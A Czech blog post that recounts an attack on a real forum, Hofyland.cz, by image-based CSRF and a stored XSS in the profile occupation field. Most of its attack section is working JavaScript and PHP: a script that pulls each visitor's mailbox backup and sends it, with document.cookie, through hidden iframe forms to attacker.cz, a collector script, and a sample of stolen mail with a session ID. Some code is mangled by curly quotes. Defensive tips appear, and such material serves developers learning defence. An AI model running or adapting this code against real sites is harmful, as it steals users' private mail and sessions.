XSS - Cross-site scripting v praxi
Znuděný ze školních poviností jsem zase projednou zabíjel čas na internetu a několika webech, které pravidelně navštěvuji a mezi které patří Facebook a fórum Hofyland.cz. Na Hofyland chodím už několik let a napadlo mě tentokrát zkusit pár bezpečnostních triků. V mé podobě se jednalo spíše o několik lamerských pokusů vzhledem k tomu, že se o bezpečnost webových aplikací nezajímám, na druhou stranu jsem ale už několik webových stránek v PHP naprogramoval, takže vím jak web a zabezpečení funguje na čemž jsem zakládal své počínání. Dopadlo to tak, že po několika hodinách jsem byl schopen číst poštu ostatních uživatelů, mazat cizí kluby, psát pod jinými uživately do klubů a dělat téměř vše co Hofyland nabízí. Jen pro představu, na serveru je 18.000 aktivních uživatelů, v jednu chvíli je většinou přihlášeno něco přes 1000 uživatelů a na serveru je uloženo okolo 11.000.000 mailů.
Protože mnoho lidí programuje webové stránky a bezpečnost je jedna z jeho důležitých částí, sepsal jsem celý postup od nalezení chyby až po získání pošty ostatních uživatelů zde na blog. Ukázat jak takový útok probíhá je totiž nejlepší způsob, jak se programátoři můžou bránit. Nelze totiž psát bezpečné aplikace aniž by programátor věděl jak útočníci postupují.
Úvod
Web a HTTP
Nebudu se zde dlouze rozepisovat o tom, jak funguje web a protokol HTTP. Ve zkratce, celý web je postaven na dotazech GET a POST zaslané prohlížečem. Aby server vědel, od kterého uživatele přihlášeného na webu daný dotaz přišel, je do dotazu vloženo unikátní číslo či řetězec vygenerovaný serverem, který zná pouze server a daný uživatel. Každý požadavek od uživatele pak tento autorizační řetězec obsahuje. Celý proces je buď implementován programátorem tak, že toto ID vloží do každého formuláře a odkazu a nebo může být implementován přes SSID (cookies), které prohlížeč automaticky přidá do každého dotazu. Druhé řešení je nejrozšířenější..
O co útočníkum jde
Útočnící se většinou snaží o 2 věci:
- vložení vlastního scriptu do stránky, který ukradne SSID nebo autorizační ID uživatelů, kteří stránku se scriptem otevřou
- zaslání vlastního požadavku na server s autorizačním ID či SSID jiného uživatele
- může se jednat například o GET požadavek na změnu hesla - kombinace obou předešlých, tedy vložení vlastního scriptu na stránku, který provede požadavek na server pod ID/SSID jiného uživatele
Teorie
Útok č. 1: Zneužítí SSID pomocí obrázku
Nevím zda se jedná o obecně známý problém, nicméně velice jednoduše lze vykonat GET požadavek na server pod přihlášeným uživatelem. Je potřeba, aby server používal SSID autorizaci a na stránce šli linkovat obrázky. Pokud jsou tyto dvě podmínky splněny, stačí na stránce nalinkovat obrázek s GET požadavkem v url (GET dotaz je url) na ten samý server a tento GET požadavek bude vykonán pod přihlášeným uživatelem, který stránku s obrázkem otevřel.
Řekněme tedy, že se jedná o server s adresou www.diskuzak.cz (adresy jsou smyšlené), kde změnu e-mailu lze provést GET dotazem system.php?action=zmen_email&novy_email=muj@mail.com. Stačí, aby útočník vložil na stránku nový přispěvek s obrázkem nalinkoványm na
<img src="http://www.diskuzak.cz/system.php?action=zmen_email&novy_email=muj@mail.com" />
a pokud přihlášení uživatelé zobrazí příspěvek, tak aniž by cokoliv tušili, dojde ke změně jejich e-mailu.
Jedná se o velice jednoduchý příklad. Každý prohlížeč provádí GET request na obrázek na stránce a zároveň platí, že SSID je automaticky přidáno ke každému GET požadavku provedeném na server, kde je uživatel přihlášen. Takto je možné provést autorizovaný GET dotaz aniž by útočník znal uživatelovo SSID či heslo. Navíc je požadavek proveden pod IP adresou uživatele, takže kontrola IP adres nepomůže.
Obrana v tomto případe není jednoduchá. V případě, že chcete na serveru podporovat linkování obrázků, autorizaci pomocí SSID (cookies) a zároveň používat GET dotazy, nabízí se hned několik způsobů jak se bránit:
a) zákaz vkládání parameterů do URL obrázků
b) zákaz vkládání jiných přípon než jpg, png, gif
Ani jedna z těchto ochran ale nemusí být učinná. V prvním případě může útočník vložit obrázek nalinkovaný na vlastní php script bez parametrů (např. http://attacker.cz/img.php), ve kterém bude HTTP redirect zpět na adresu serveru s parametry. V druhém případě lze omezení na přípony jpg, gif a png obejít nastavení vlastního webového serveru tak, aby soubory s touto příponou interpretoval jako PHP a pak postupovat stejně jako v prvním případě.
Útočník může tedy postupovat takto:
- na vlastním serveru http://attacker.cz si nastaví, aby se soubory s příponou .png interpretovali jako php scripty
- vytvoří si vlastní PHP script obr.png s kódem:
<? Header('Location: http://diskuzak.cz/system.php?action=zmen_email&novy_email=muj@mail.com') ?> - na napadenou stránku diskuzak.cz nalinkuje obrázek
<img src="http://attacker.cz/obr.png" />
Není tedy možné z vloženého url poznat, zda se jedná o podvodný script nebo o obrázek.
Pro zajímavost zde můžete vidět jak probíhá celá HTTP komunikace:

Jaká je tedy obrana?
- pro všechny operace, které mění obsah stránky či jiná data používat POST požadavky; nebo …
- vedle SSID používat vlastní druhé autorizační ID, které bude vyžadováno u GET dotazů (tzn. změna emailu by se prováděla přes http://diskuzak.cz/system.php?action=zmen_email&novy_email=muj@mail.com&auth_id=87654987546 - útočník auth_id nezná a tedy nemůže podstrčit fungující URL)
Důležité je dodat, že tímto způsobem je možné GET dotaz pouze poslat, ale nejde již nijak zpracovat výsledek volání, tzn. nedá se využít například pro přečtení stránky či jiného obsahu vráceného dotazem.
Stejně to funguje i pokud přihlášený uživatel otevře stránku s podvrženým obrázkem na úplně jiném serveru!
Útok č. 2: Vložení vlastního scriptu na stránku
Útočník hledá na webu neošetřený vstup, kde je možné vložit jeho vlastní javascript kód. Pokud takovou slabinu nalezne, má téměř neomezené možnosti. Pomocí javascriptu je možné si nechat zaslat IP adresu, cookies (včetně SSID), či url uživatele. Pokud se k těmto údajům dostane, může si změnit své SSID/ID na ID jiného uživatele, které se nachází v cookies a/nebo v url. Zároveň může posílat POST nebo GET dotazy na server pod IP adresou uživatele.
Takto se může přihlásit pod jiného uživatele aniž by znal jeho heslo. V případě že je útočník schopen vložit si vlastní script na stránku je jediná obrana proti ukradení identity ověření IP adresy. Protože si útočník nemůže změnit IP na IP adresu uživatele, je to velice jednoduchá a zároveň účinná obrana.
Proti volání vlastních dotazů na server pomocí javascriptu žádná obrana není, proto je důležité všechny vstupy na stránce správně ošetřit.
Několik tipů:
Nikdy nespoléhejte na to, že všechny vstupy jsou správně ošetřeny (script se může ukrývat třeba i pod názvem prohlížeče v HTTP_USER_AGENT) a proto byste měli počítat s variantou, že dojde k prolomení ochrany. V takovém případě útočník nebude znát uživatelovo heslo a proto byste pro kritické operace měli znovu heslo vyžadovat. Těmito operacemi jsou zejména:
- Změna hesla - vyžadujte při změně hesla zadat vedle nového i staré heslo, to znemožní změnu hesla pomocí podvrženého scriptu
- Změna emailové adresy - u hesel je obvykle vyžadováno staré heslo, u e-mailu to již tak obvyklé není, přitom se jedná o stejný bezpečnostní problém. V případě, že heslo při změně hesla není vyžadováno tak stačí nejdříve změnit e-mail pomocí scriptu na vlastní adresu a pak využít klasického zaslání hesla na e-mail v případě ztráty, což dnes umožňuje většina webů
Praxe - Hofyland
Zneužití SSID pomocí obrázku
Uživatelé jsou na Hofylandu autorizováni pomocí SSID a v klubech je možné linkování obrázků, obě podmínky pro zneužití tohoto postupu jsou splněny. Linkování obrázků je prováděno pomocí tagu img:url_obrazku a umožňuje použít jakékoliv url, není tedy potřeba php scriptu s redirectem. Pomocí GET dotazů lze na Hofylandu pouze mazat příspěvky, všechny ostatní důležité operace jsou prováděny přes POST. Pro smazání cizího příspěvku stačí vložit tento text do některého z klubů:
img:http://www.hofyland.cz/?club&klub=[id_klubu]&sub=1&delete=[id_prispevku]
A pokud tam autor příspěvku přijde, bude jeho příspěvek smazán aniž by cokoliv tušil.
Vzhledem k tomu, že Hofyland používá pro většinu operací pouze POST dotazy, jsou důsledky této chyby celkem málé.
Vložení vlastního scriptu na stránku
Pokud je možné vložit vlastní script na stránku, jedná se o mnohem větší bezpečnostní problém než v prvním případě. Pro nalezení neošetřeného vstupu jsem se snažil vložit html kód do všech vstupů a viděl, zda ho Hofyland smaže, změní nebo ponechá tak jak je. Pokud byl programátor dostatečně obezřetný, tak kontroluje dostatečně všechny vstupy. Na Hofylandu jsem ale jeden špatně ošetřený vstup našel. Po vložení textu ‘<img src=”http://server.cz”>’ do pole zaměstnání byl text uložen jako ‘<img src=_||_http://server.cz_||_>’. Na tom je vidět, že nepovoleným znakem je ” zatímco < a > zůstaly nezměněny. To stačí pro vložení tohoto kódu na stránku:
<script src=http://attacker.cz/h/js/request.js></script>
Reqest.js je vlastní script, který se vykoná pokud jakýkoliv uživatel otevře můj profil na hofylandu. I když <script> vložený do pole není validní (chybí uvozovky pro src), tak prohlížeč bez problému načetl script a interpretoval kód. Script tedy funguje a v tomto okamžiku je to již o tom, jak takové chyby využít.
Co dál
Po čem každý útočník nejdříve jde je SSID, pomocí kterého jsou uživatelé na webu autorizováni a které lze pomocí javascriptu velice jednoduše přečíst. Ukradení identity na Hofylandu ale nefunguje, protože kontroluje IP adresy uživatelů, tzn. že pod jiným uživatelem se přihlásit nejde i když znám SSID. Protože IP adresa je kontrolovaná, jediná možnost je do scriptu naprogramovat POST a/nebo GET dotazy, které se vykonají jakmile uživatel otevře můj profil a protože script interpretuje uživatelův prohlížeč, budou dotazy poslané pod IP adresou uživatele a to včetně jeho SSID. Jaký dotaz tedy poslat?
Pošta
Pošta je jedna z důvěrných částí webu, ke které by neměl nikdo kromě samotného uživatel mít přístup. Protože server umožňuje nechat si zálohovat poštu do souboru, stačí poslat správný POST dotaz, který vrátí zpět uživatelovu poštu jako text. Pro zjištění jak takový backup dotaz vypadá, tzn. které proměnné a data se posílají na server při záloze e-mailu, stačí použít Ethereal, zazálohovat vlastní poštu a nechal si vypsat celý HTTP dotaz. Ten ukáže přesně co je na server posíláno.

Nyní již stačí vytvořit script, který pomocí Ajax asynchroního volání pošle dotaz na server a získá zpět poštu. Na Internetu jsem našel tento kód, který jsem použil.
function makeRequest(type, url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// set type accordingly to anticipated content type
//http_request.overrideMimeType('text/xml');
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
makeGetRequest('Cannot create XMLHTTP instance');
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open(type, url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
if (type == 'POST')
http_request.send(parameters);
}
Tato funkce umožní poslat GET nebo POST dotaz se zadanými pametry a zavolá funkci alertContents s výsledkem:
function alertContents() {
if (http_request.readyState == 4) {
// vysledek volani v http_request.responseText
}
}
Pro stažení pošty stačí zavolat:
makeRequest('POST', 'http://www.hofyland.cz/hlsave.php?act=mail&scr=posta&sub=5', 'hlform=true&hltypsave=.txt&hlcosave=0&hlfromsave=0&hllim1=0&hllim2=100&hlsend_save_post=Ulo%C5%BEit');
Adresa a proměnné v dotazu jsou stejné jako ty z Etherealu. Nyní pokud uživatel zobrazí můj profil na Hofylandu, zavolá se tento příkaz a vrátí získanou poštu do promenné http_request.responseText ve funkci alertContents().
Uložení pošty
Pošta je nyní stažena v proměnné v uživatelově prohlížeči. Nyní je tedy potřeba najít způsob, jak poštu někde uložit. K tomu může posloužit jednoduchý PHP script save.php, který uloží předaný text. Script očekává jednu proměnnou q a uloží její hodnotu do souboru na serveru.
save.php
<?
$myFile = "mails.txt";
// POST
if (isset($_REQUEST['q']))
{
$fh = fopen($myFile, 'a');
fwrite($fh, '<hr /><b>['.$_SERVER['REMOTE_ADDR'].']['.Date('Y-m-d H:i').']</b><br />'.$_REQUEST['q']."\r\n");
fclose($fh);
echo '.';
}
?>
Nyní už jen stačí zavolat php script save.php a předat mu poštu. To je ale větší problém než by se mohlo zdát.
Řešení č. 1 - zaslání pomocí obrázku
Jeden možný způsob je javascriptem vložit do stránky obrázek, jako zdroj obrázku nastavit save.php a předat poštu
function alertContents() {
if (http_request.readyState == 4) {
var img = document.createElement('img');
img.src= 'http://attacker.cz/h/save.php?q=' + http_request.responseText;
document.body.appendChild(img);
}
}
Toto řešení využívá podobného principu jako v prvním útoku, kde pomocí obrázku je poslán GET dotaz. Ten ale není pro poslání pošty to nejlepší řešení, protože GET umí předat v url adrese pouze omezené množství znaků (ve stovkách), zatímco pošta se počítá v desítkách tisíc, které do adresy jen těžko lze vtěsnat. Proto je tedy potřeba poslat data pomocí POST dotazu, který je na zaslání většího množství dat optimální.
Řešení č. 2 - POST dotaz pomocí Ajaxu
Nabízí se druhé řešení a to využít stejnou Ajax funkci, pomocí které byla stáhnuta pošta. Ukázalo se však, že tato funkce lze volat pouze v rámci JEDNOHO serveru, tzn. nelze z bezpečnostních důvodů zavolat na jiný server.
Řešení č. 3 - Form
Napadá mě ještě jedna možnost jak provést POST dotaz a to pomocí javascriptu a dynamicky vygenerovaného HTML formuláře. K odeslání stačí dynamicky vytvořit na stránce formulář s textovým polem. Do textového pole vložit text stáhlé pošty a javascriptem odeslat formulář. Protože při odeslání se celá stránka redirectuje na url formuláře, je ještě potřeba celý formulář schoval do iframu, takže k redirectu dojde v iframu zatímco stránka se scriptem zůstane nezměněna.
Zde je kód pro odeslání dat pomocí formuláře:
function makeFormRequest(url, data) { var i = 0; while (data.length > 0 && i < 20) { // because a request can send only limited amount of data, // send max 10000 characters at once var max = 10000; // take only first $max characters if (data.length > max) { send = data.substr(0, max); data = data.substr(max); } else { send = data; data = “”; } // create an iframe for sending data var newiframe = document.createElement(’iframe’); newiframe.width = 0; newiframe.height = 0; newiframe.frameBorder=’0′; newiframe.style.visibility=’hidden’; document.body.appendChild(newiframe); // some browsers use contentDocument, some contentWindow var innerDocument = (newiframe.contentDocument.document != null ? newiframe.contentDocument.document : newiframe.contentWindow.document); var newform = innerDocument.createElement(’form’); newform.action=logurl + ‘/h/dest.php’; newform.method=’post’; // ie has innerDocument.body null => use innerDocument directly var body = (innerDocument.body != null ? innerDocument.body : innerDocument); // texbox for storing data var newinputdata = innerDocument.createElement(’textarea’); newinputdata.name = ‘q’; newinputdata.value= ‘{cookie=’ + document.cookie + ‘}{num=’ + i + ‘} ‘ + send.replace(/Nakonec už jen stačí celý iframe pomocí css schovat a máme funkční implementaci pro stahování pošty. Stačí aby uživatel otevřel profil se scriptem a jeho pošta se uloží na cizím serveru aniž by si mohl čehokoliv všimnout.
Tatko vypadá obsah souboru se staženou poštou (součástí je i SSID).
save.txt
[77.hah.ah.89][2009-07-02 21:59]{cookie=__utma=49557951.1872309688088424700. 1244642804.1246553973.1246562732.132; __utmz=49557951.1244911167.5.2.utmcsr=google|utmccn=(organic) |utmcmd=organic|utmctr=hofyland; PHPSESSID=5a4c67922a903d695ae49030f6c011e0; cookieson=1; hljs=1; __utmc=49557951; __utmb=49557951.59.10.1246562732}{num=0} Záloha mailboxu uživatele ANDYS - 02.07.2009 09:59:04 ————————————————————————————————— [>>]HOFY 02.07.2009 01:46:25 Nazdar, …Shrnutí - stažení pošty
1) Uživatel otevře profil s podstrčeným scriptem
2) uživatelův prohlížeč načte script request.js
3) zavolá se funkce makeRequest(’POST’, ‘http://www.hofyland.cz/hlsave.php?act=mail&….
4) ten zavolá Ajax funkci http_request.send(parameters);
5) jakmile http%request poštu stáhne, zavolá se funkce alertContents()
6) ta zavolá makeFormRequest(’http://attacker.php/h/save.php’, http_request.responseText);
7) vytvoří se iframe s formulářem, naplní daty a odešle na http://attacker.php/h/save.php
8) save.php uloží hodnotu z proměnné q do souboru na serverurequest.js
Zde jsou kódy celeého scriptu:////////////////////// // POST REQUEST (Ajax) ////////////////////// var http_request = false; var logurl = 'http://... //var logurl = 'http://localhost'; function makeRequest(type, url, parameters) { http_request = false; if (window.XMLHttpRequest) { // Mozilla, Safari,... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // set type accordingly to anticipated content type //http_request.overrideMimeType('text/xml'); http_request.overrideMimeType('text/html'); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { makeGetRequest('Cannot create XMLHTTP instance'); //alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertContents; http_request.open(type, url, true); http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http_request.setRequestHeader("Content-length", parameters.length); http_request.setRequestHeader("Connection", "close"); if (type == 'POST') http_request.send(parameters); } function alertContents() { if (http_request.readyState == 4) { if (http_request.status == 200) { // send data makeFormRequest(logurl + '/h/dest.php?q=', http_request.responseText); //document.write(http_request.responseText); } else { //alert('There was a problem with the request. ' + http_request.status); makeFormRequest(logurl + '/h/dest.php?q=', 'There was a problem with the request. ' + http_request.status); } } } ////////////////////// // FORM REQUEST ////////////////////// function makeFormRequest(url, data) { var i = 0; while (data.length > 0 && i < 20) { // because a request can send only limited amount of data, // send max 1000000 characters at once var max = 10000; // take only first $max characters if (data.length > max) { send = data.substr(0, max); data = data.substr(max); } else { send = data; data = “”; } // create an iframe for sending data var newiframe = document.createElement(’iframe’); newiframe.width = 0; newiframe.height = 0; newiframe.frameBorder=’0′; newiframe.style.visibility=’hidden’; document.body.appendChild(newiframe); // some browsers use contentDocument, some contentWindow var innerDocument = (newiframe.contentDocument.document != null ? newiframe.contentDocument.document : newiframe.contentWindow.document); var newform = innerDocument.createElement(’form’); newform.action=logurl + ‘/h/dest.php’; newform.method=’post’; // ie has innerDocument.body null => use innerDocument directly var body = (innerDocument.body != null ? innerDocument.body : innerDocument); // texbox for storing data var newinputdata = innerDocument.createElement(’textarea’); newinputdata.name = ‘q’; newinputdata.value= ‘{cookie=’ + document.cookie + ‘}{num=’ + i + ‘} ‘ + send.replace(/</g,’& lt;’); // replace html, store number of data part, include cookies // put form into an iframe newform.appendChild(newinputdata); body.appendChild(newform); newform.submit(); i++; } } makeRequest(’POST’, ‘http://www.hofyland.cz/hlsave.php?act=mail&scr=posta&sub=5′, ‘hlform=true&hltypsave=.txt&hlcosave=0&hlfromsave=0&hllim1=0&hllim2=100&hlsend_save_post=Ulo%C5%BEit’);


July 10th, 2009 at 11:29 am
Moc pěkný článek! Hezky názorný. Kdyby bylo takových více, snad by to donutilo některé vývojáře věnovat více času zabezpečení, na které často kašlou, protože nerozumí hrozbám. Strategie “udělat z hackování záležitost přístupnou i průměrnému programátorovi, aby se stalo mnohem vnímanější hrozbou” mi ale přijde jako dobrý nápad:-) V létě snad taky něco napíšu. Rozhodně je ten Váš článek inspirativní! ;-)
February 14th, 2010 at 5:14 pm
Z jiného soudku.
Snad to není zneužití tohoto blogu, když reaguji na něco jiného než na obsah tohoto příspěvku. Vzpomněl jsem si na svého bývalého studenta a nakonec jsem se k němu dogoogloval. S chutí jsem si přečetl některé příspěvky a byl bych rád, kdybyste mě Aleši kontaktoval. Nevím, kdy jste byl na své fakultě naposled, ale mění se zde stále hodně a je to stále lepší. Zdravím a těším se - JMH
February 21st, 2010 at 11:37 am
HMM pěkně pěkně
April 5th, 2011 at 10:28 pm
Юбки 2010. Осведомительный ресурс про .